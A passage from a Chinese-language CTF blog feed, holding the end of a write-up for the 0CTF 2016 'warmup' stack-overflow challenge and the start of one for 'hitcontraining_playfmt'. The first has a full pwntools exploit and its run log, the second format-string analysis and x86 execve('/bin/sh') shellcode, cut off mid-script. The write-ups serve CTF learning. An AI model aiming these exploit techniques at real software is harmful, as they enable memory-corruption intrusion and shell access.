<code>execve(&quot;/bin/sh&quot;)</code></p></blockquote></li><li>使用<code>open-read-write</code>链<blockquote><p><code>open(&quot;flag&quot;, 0); //eax = 5</code><br /><code>read(3, buffer, len); //eax = 3</code><br /><code>write(1, buffer, len); // eax = 4</code><br />其中<code>read</code>,<code>write</code>在二进制中都有完整的函数可用，不必自己重新构造。</p></blockquote></li></ul><p>控制<code>eax</code>的思路为使用<code>alarm</code>函数。<br />第一次调用<code>alarm</code>时，设定发送<code>SIGALRM</code>信号的时间；第二次调用<code>alarm</code>时，将会把前一次<code>alarm</code>***剩余的***时间返回。</p><blockquote><p>注意是<code>剩余的</code>时间而非<code>流失的</code>时间。</p></blockquote><p>但由于在该题目中，首次调用<code>alarm</code>设定的时间为<code>10</code>秒，小于<code>system('/bin/sh')</code>所需要的<code>0xb</code>,因此只能采用<code>open-read-write</code>链。</p><h1 id="0x3-exploit-code"><a class="markdownIt-Anchor" href="#0x3-exploit-code"></a> 0x3 Exploit Code</h1><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwnlib.util <span class="keyword">import</span> misc</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line">elf = context.binary = ELF(<span class="string">&quot;warmup&quot;</span>)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">context.terminal = [<span class="string">&quot;tmux&quot;</span>, <span class="string">&quot;split&quot;</span>, <span class="string">&quot;-h&quot;</span>]</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line">gs = <span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">continue</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">start</span>():</span><br><span class="line">    <span class="keyword">if</span> args.GDB:</span><br><span class="line">        p = process(elf.path)</span><br><span class="line">        cmd = [<span class="string">&quot;gdb&quot;</span>, <span class="string">&quot;-p&quot;</span>, <span class="built_in">str</span>(p.pid)]</span><br><span class="line">        cmd = context.terminal + cmd</span><br><span class="line">        cmd = <span class="string">&#x27; &#x27;</span>.join(cmd) </span><br><span class="line">        os.system(cmd)</span><br><span class="line">        time.sleep(<span class="number">1</span>)</span><br><span class="line">        <span class="keyword">return</span> p</span><br><span class="line">    <span class="keyword">elif</span> args.REMOTE:</span><br><span class="line">        <span class="keyword">return</span> remote(<span class="string">&#x27;node4.buuoj.cn&#x27;</span>, <span class="number">25353</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> process(elf.path)</span><br><span class="line"></span><br><span class="line"><span class="comment">#--------- Process Interactive ---------------------</span></span><br><span class="line"></span><br><span class="line">io = start()</span><br><span class="line">io.timeout = <span class="number">30</span></span><br><span class="line">tic = time.time()</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;Welcome to 0CTF 2016!\n&#x27;</span>)</span><br><span class="line"></span><br><span class="line">alarm = <span class="number">0x804810D</span></span><br><span class="line">read = <span class="number">0x804811D</span></span><br><span class="line">write = <span class="number">0x08048135</span> </span><br><span class="line">stackoverlow = <span class="number">0x804815A</span></span><br><span class="line"></span><br><span class="line">mov_esp_bcd_int = <span class="number">0x8048122</span> </span><br><span class="line"><span class="string">&quot;&quot;&quot; 设置eax后,ebx,ecx,edx都从栈上读出,即可调用system_call</span></span><br><span class="line"><span class="string">.text:08048122                 mov     ebx, [esp+4]    </span></span><br><span class="line"><span class="string">.text:08048126                 mov     ecx, [esp+8]  </span></span><br><span class="line"><span class="string">.text:0804812A                 mov     edx, [esp+12]   </span></span><br><span class="line"><span class="string">.text:0804812E                 int     80h              </span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 从vmmap中，找到一块可写内存，用来保存flag文件路径和内容。</span></span><br><span class="line">buffer = <span class="number">0x8049600</span></span><br><span class="line"></span><br><span class="line"><span class="comment">##### 1.  read flag path into buffer</span></span><br><span class="line">payload = <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x20</span> </span><br><span class="line">payload += p32(read)    <span class="comment">#stackoverlow return address</span></span><br><span class="line">payload += p32(stackoverlow)    <span class="comment">#read return address</span></span><br><span class="line">payload += p32(<span class="number">0</span>)       <span class="comment">#fd</span></span><br><span class="line">payload += p32(buffer)  <span class="comment">#addr</span></span><br><span class="line">payload += p32(<span class="number">6</span>)       <span class="comment">#len</span></span><br><span class="line">io.send(payload)</span><br><span class="line"><span class="keyword">if</span> args.GDB:</span><br><span class="line">    ctn = io.recvuntil(<span class="string">b&quot;Good Luck!\n&quot;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    ctn = io.recvline()</span><br><span class="line">io.send(<span class="string">b&quot;flag\0&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">##### 2.  open flag file; </span></span><br><span class="line"><span class="comment"># system_call open &gt;&gt; eax:0x5; ebx:char* file_name; ecx: flags; edx: mode</span></span><br><span class="line"><span class="comment"># 第二次调用alarm函数，会返回距离第一次调用alarm 剩余的时间(秒)</span></span><br><span class="line"></span><br><span class="line">toc = time.time()</span><br><span class="line"><span class="comment"># time.sleep(5) ### alarm设置10秒，sleep 5秒，剩余5秒</span></span><br><span class="line">log.info(<span class="string">&quot;alarm time: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(toc-tic))</span><br><span class="line">time.sleep(<span class="number">5</span> - (toc - tic))</span><br><span class="line">payload = <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x20</span></span><br><span class="line">payload += p32(alarm)</span><br><span class="line">payload += p32(mov_esp_bcd_int)</span><br><span class="line">payload += p32(stackoverlow)</span><br><span class="line">payload += p32(buffer)  <span class="comment">#ebx file_name</span></span><br><span class="line">payload += p32(<span class="number">0</span>)       <span class="comment">#ecx flags (0: O_RDONLY, 1: O_WRONLY, 2: O_RDWR)</span></span><br><span class="line"><span class="comment"># payload += p32(0)       #edx</span></span><br><span class="line">io.send(payload)</span><br><span class="line"><span class="keyword">if</span> args.GDB:</span><br><span class="line">    ctn = io.recvuntil(<span class="string">b&quot;Good Luck!\n&quot;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    ctn = io.recvline()</span><br><span class="line"></span><br><span class="line"><span class="comment">##### 3.  read flag content into buffer</span></span><br><span class="line">payload = <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x20</span></span><br><span class="line">payload += p32(read)</span><br><span class="line">payload += p32(stackoverlow)</span><br><span class="line">payload += p32(<span class="number">3</span>)       <span class="comment">#fd</span></span><br><span class="line">payload += p32(buffer)  <span class="comment">#addr</span></span><br><span class="line">payload += p32(<span class="number">0x100</span>)   <span class="comment">#len</span></span><br><span class="line">io.send(payload)</span><br><span class="line"><span class="keyword">if</span> args.GDB:</span><br><span class="line">    ctn = io.recvuntil(<span class="string">b&quot;Good Luck!\n&quot;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    ctn = io.recvline()</span><br><span class="line"></span><br><span class="line"><span class="comment">##### 4.  write flag content into stdout</span></span><br><span class="line">payload = <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x20</span></span><br><span class="line">payload += p32(write)</span><br><span class="line">payload += p32(stackoverlow)    <span class="comment">#call valid function to make binary happy, exploit stable</span></span><br><span class="line">payload += p32(<span class="number">1</span>)       <span class="comment">#fd</span></span><br><span class="line">payload += p32(buffer)  <span class="comment">#addr</span></span><br><span class="line">payload += p32(<span class="number">0x100</span>)   <span class="comment">#len</span></span><br><span class="line">io.send(payload)</span><br><span class="line"><span class="keyword">if</span> args.GDB:</span><br><span class="line">    ctn = io.recvuntil(<span class="string">b&quot;Good Luck!\n&quot;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    ctn = io.recvline()</span><br><span class="line"></span><br><span class="line">flag = io.recv()</span><br><span class="line">log.info(<span class="string">f&quot;flag: <span class="subst">&#123;flag&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># =============================================================================</span></span><br><span class="line"><span class="comment"># io.interactive()</span></span><br><span class="line">io.close()</span><br><span class="line"></span><br></pre></td></tr></table></figure><h1 id="0x4-output-example"><a class="markdownIt-Anchor" href="#0x4-output-example"></a> 0x4 Output Example</h1><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line">╰─$ python exp.py REMOTE   </span><br><span class="line"></span><br><span class="line">[*] &#x27;warmup/warmup&#x27;</span><br><span class="line">    Arch:     i386-32-little</span><br><span class="line">    RELRO:    No RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      No PIE (0x8048000)</span><br><span class="line">[+] Opening connection to node4.buuoj.cn on port 25353: Done</span><br><span class="line">[DEBUG] Received 0x16 bytes:</span><br><span class="line">    b&#x27;Welcome to 0CTF 2016!\n&#x27;</span><br><span class="line">[DEBUG] Sent 0x34 bytes:</span><br><span class="line">    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│</span><br><span class="line">    *</span><br><span class="line">    00000020  1d 81 04 08  5a 81 04 08  00 00 00 00  00 96 04 08  │····│Z···│····│····│</span><br><span class="line">    00000030  06 00 00 00                                         │····│</span><br><span class="line">    00000034</span><br><span class="line">[DEBUG] Received 0xb bytes:</span><br><span class="line">    b&#x27;Good Luck!\n&#x27;</span><br><span class="line">[DEBUG] Sent 0x5 bytes:</span><br><span class="line">    00000000  66 6c 61 67  00                                     │flag│·│</span><br><span class="line">    00000005</span><br><span class="line">[*] alarm time: 0.08231258392333984</span><br><span class="line">[DEBUG] Sent 0x34 bytes:</span><br><span class="line">    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│</span><br><span class="line">    *</span><br><span class="line">    00000020  0d 81 04 08  22 81 04 08  5a 81 04 08  00 96 04 08  │····│&quot;···│Z···│····│</span><br><span class="line">    00000030  00 00 00 00                                         │····│</span><br><span class="line">    00000034</span><br><span class="line">[DEBUG] Received 0xb bytes:</span><br><span class="line">    b&#x27;Good Luck!\n&#x27;</span><br><span class="line">[DEBUG] Sent 0x34 bytes:</span><br><span class="line">    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│</span><br><span class="line">    *</span><br><span class="line">    00000020  1d 81 04 08  5a 81 04 08  03 00 00 00  00 96 04 08  │····│Z···│····│····│</span><br><span class="line">    00000030  00 01 00 00                                         │····│</span><br><span class="line">    00000034</span><br><span class="line">[DEBUG] Received 0xb bytes:</span><br><span class="line">    b&#x27;Good Luck!\n&#x27;</span><br><span class="line">[DEBUG] Sent 0x34 bytes:</span><br><span class="line">    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│</span><br><span class="line">    *</span><br><span class="line">    00000020  35 81 04 08  5a 81 04 08  01 00 00 00  00 96 04 08  │5···│Z···│····│····│</span><br><span class="line">    00000030  00 01 00 00                                         │····│</span><br><span class="line">    00000034</span><br><span class="line">[DEBUG] Received 0xb bytes:</span><br><span class="line">    b&#x27;Good Luck!\n&#x27;</span><br><span class="line">[DEBUG] Received 0x100 bytes:</span><br><span class="line">    00000000  66 6c 61 67  7b 31 38 31  31 61 64 61  65 2d 38 35  │flag│&#123;181│1ada│e-85│</span><br><span class="line">    00000010  31 38 2d 34  38 31 36 2d  61 66 66 32  2d 30 31 65  │18-4│816-│aff2│-01e│</span><br><span class="line">    00000020  65 65 62 32  64 63 62 33  38 7d 0a 00  00 00 00 00  │eeb2│dcb3│8&#125;··│····│</span><br><span class="line">    00000030  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│</span><br><span class="line">    *</span><br><span class="line">    00000100</span><br><span class="line">[*] flag: b&#x27;flag&#123;▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇&#125;\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#x27;</span><br><span class="line">[*] Closed connection to node4.buuoj.cn port 25353</span><br></pre></td></tr></table></figure><h1 id="0x5-the-challenge"><a class="markdownIt-Anchor" href="#0x5-the-challenge"></a> 0x5 The Challenge</h1><p><a href="https://buuoj.cn/challenges#warmup">https://buuoj.cn/challenges#warmup</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;0x0-checksec&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#0x0-checksec&quot;&gt;&lt;/a&gt; 0x0 Checksec&lt;/h1&gt;
&lt;figure class=&quot;highlight plaintext&quot;&gt;&lt;table&gt;&lt;t</summary>
      
    
    
    
    <category term="Write Up" scheme="http://www.4x7.fun/categories/Write-Up/"/>
    
    
    <category term="Write Up" scheme="http://www.4x7.fun/tags/Write-Up/"/>
    
    <category term="Stack Overflow" scheme="http://www.4x7.fun/tags/Stack-Overflow/"/>
    
    <category term="alarm" scheme="http://www.4x7.fun/tags/alarm/"/>
    
    <category term="system call" scheme="http://www.4x7.fun/tags/system-call/"/>
    
  </entry>
  
  <entry>
    <title>WriteUp: hitcontraining_playfmt</title>
    <link href="http://www.4x7.fun/2022/04/11/WriteUp-hitcontraining-playfmt/"/>
    <id>http://www.4x7.fun/2022/04/11/WriteUp-hitcontraining-playfmt/</id>
    <published>2022-04-11T12:25:50.000Z</published>
    <updated>2022-04-20T03:56:01.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="checksec"><a class="markdownIt-Anchor" href="#checksec"></a> Checksec</h1><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">╰─$ checksec playfmt</span><br><span class="line">[*] &#x27;hitcontraining_playfmt/playfmt&#x27;</span><br><span class="line">    Arch:     i386-32-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX disabled</span><br><span class="line">    PIE:      No PIE (0x8048000)</span><br><span class="line">    RWX:      Has RWX segments</span><br></pre></td></tr></table></figure><p>重要信息：</p><ul><li>a. <code>i386</code> 因此直接<code>gdb.debug</code>打开或者<code>process</code>打开用<code>gdb.attach</code>会有问题；需要特殊的处理，见后面<code>exploit</code>代码的<code>start</code>；</li><li>b. <code>Has RWX segments</code>: 有可写可执行段，<code>gdb playfmt</code>后<code>vmmap</code>可以看到是<code>stack</code></li><li>c. <code>No PIE</code>: 因此ELF中符号，在ELF静态文件中的偏移即为加载后的偏移。但堆栈会随机化</li></ul><h1 id="reverse-engineering"><a class="markdownIt-Anchor" href="#reverse-engineering"></a> Reverse Engineering</h1><p><img src="https://s2.loli.net/2022/04/11/iSPEqtTpmhYVvfQ.png" alt="" /></p><div align=center>Fig. 1. Vulnerability Point</div><p>漏洞点在上图中的标号<code>(1)</code>处,为<code>Format String Attack</code>.</p><h1 id="analyze"><a class="markdownIt-Anchor" href="#analyze"></a> Analyze</h1><p><code>read</code>-&gt;<code>printf</code>在<code>while(True)</code>循环中，因此可以无限次构造<code>payload</code>，理论上可以实现<code>任意地址写</code>。</p><p>但<code>buf</code>不在<code>stack</code>上，因此在payload中，任意写的目的地址无法直接通过字符串中指定，需要找到一个如下的栈链。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">stack a: -&gt; stack b </span><br><span class="line">...</span><br><span class="line">stack b: -&gt; stack c </span><br><span class="line">...</span><br><span class="line">stack c: -&gt; 任意值</span><br></pre></td></tr></table></figure><p>原理实质上很简单，通过<code>Format String Attack</code>的任意地址写，将<code>Shell Code</code>写入到<code>RWX</code>权限的栈上，并再次使用<code>Format String Attack</code>修改函数返回地址为<code>Shell Code</code>在栈上的地址。触发函数返回后即可获得<code>shell</code>。<br />但在实际<code>exploit</code>时，有很多细节要注意：</p><ul><li>a. 当 <code>%Mc</code> 之 <code>M</code>过大时，要留出足够的时间让程序完成完整<code>printf</code>行为。实际上应尽可能的让<code>M</code>值不要过大，不然容易失败。在<code>exploit code</code>中，我们采用了<code>io.recvuntil(b'\n')</code>的方式，用<code>b'\n'</code>字符作为输出结束的约定字符，这样即保证<code>printf</code>行为完整，又避免了过久等待。</li><li>b. <code>stack</code>链应避免使用<code>ebp-&gt;prev-frame-esp-&gt;prevprev-frame-esp...</code>的<code>ebp</code>栈链，否则在函数返回时，通过<code>ebp</code>恢复<code>esp</code>值时容易出错。<ul><li>当然无其他选择时，<code>ebp</code>栈链也是可以操作的，需要注意操作后的恢复工作，保证<code>ebp</code>链的合法性。</li><li>且<code>ebp</code>栈链的好处是，它肯定是存在的，且距离不远，很容易找到。</li></ul></li><li>c. 该<code>exploit code</code>避免使用了<code>one_gadget</code>,<code>system</code>等需要<code>libcSearcher</code>搜索判断远程<code>libc.so</code>版本的操作</li></ul><h1 id="exploit-code"><a class="markdownIt-Anchor" href="#exploit-code"></a> Exploit Code</h1><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwnlib.util <span class="keyword">import</span> misc</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line">elf = context.binary = ELF(<span class="string">&quot;playfmt&quot;</span>)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">context.terminal = [<span class="string">&quot;tmux&quot;</span>, <span class="string">&quot;split&quot;</span>, <span class="string">&quot;-h&quot;</span>]</span><br><span class="line"></span><br><span class="line">gs = <span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">continue</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">start</span>():</span><br><span class="line">    <span class="keyword">if</span> args.GDB:</span><br><span class="line">        p = process(elf.path)</span><br><span class="line">        cmd = [<span class="string">&quot;gdb&quot;</span>, <span class="string">&quot;-p&quot;</span>, <span class="built_in">str</span>(p.pid)]</span><br><span class="line">        cmd = context.terminal + cmd</span><br><span class="line">        cmd = <span class="string">&#x27; &#x27;</span>.join(cmd) </span><br><span class="line">        os.system(cmd)</span><br><span class="line">        time.sleep(<span class="number">1</span>)</span><br><span class="line">        <span class="keyword">return</span> p</span><br><span class="line">    <span class="keyword">elif</span> args.REMOTE:</span><br><span class="line">        <span class="keyword">return</span> remote(<span class="string">&#x27;node4.buuoj.cn&#x27;</span>, <span class="number">28106</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> process(elf.path)</span><br><span class="line"></span><br><span class="line"><span class="comment">#--------- Process Interactive ---------------------</span></span><br><span class="line"></span><br><span class="line">l = <span class="keyword">lambda</span> x,y : log.info(<span class="string">f&quot;<span class="subst">&#123;x&#125;</span> -&gt; <span class="subst">&#123;y&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">readByFmtStr</span>(<span class="params">fmtstr</span>):</span><br><span class="line">    io.send(fmtstr)</span><br><span class="line">    addr = <span class="built_in">int</span>(io.recv(), <span class="number">16</span>)</span><br><span class="line">    <span class="keyword">return</span> addr</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">io = start()</span><br><span class="line">io.timeout = <span class="number">3000</span></span><br><span class="line">io.recv()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">ebp = readByFmtStr(<span class="string">b&quot;%6$p&quot;</span>)</span><br><span class="line">l(<span class="string">&quot;ebp&quot;</span>, <span class="built_in">hex</span>(ebp))</span><br><span class="line"></span><br><span class="line"><span class="comment">#leak chain value </span></span><br><span class="line">chain = readByFmtStr(<span class="string">b&quot;%21$p&quot;</span>)</span><br><span class="line">l(<span class="string">&quot;chain&quot;</span>, <span class="built_in">hex</span>(chain))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">shell = <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">xor ecx,ecx</span></span><br><span class="line"><span class="string">mul ecx</span></span><br><span class="line"><span class="string">push eax</span></span><br><span class="line"><span class="string">mov al,0xb</span></span><br><span class="line"><span class="string">push 0x68732f2f   </span></span><br><span class="line"><span class="string">push 0x6e69622f   </span></span><br><span class="line"><span class="string">mov ebx,esp</span></span><br><span class="line"><span class="string">int 0x80</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">shell_bs = asm(shell, arch=<span class="string">&quot;i386&quot;</span>, 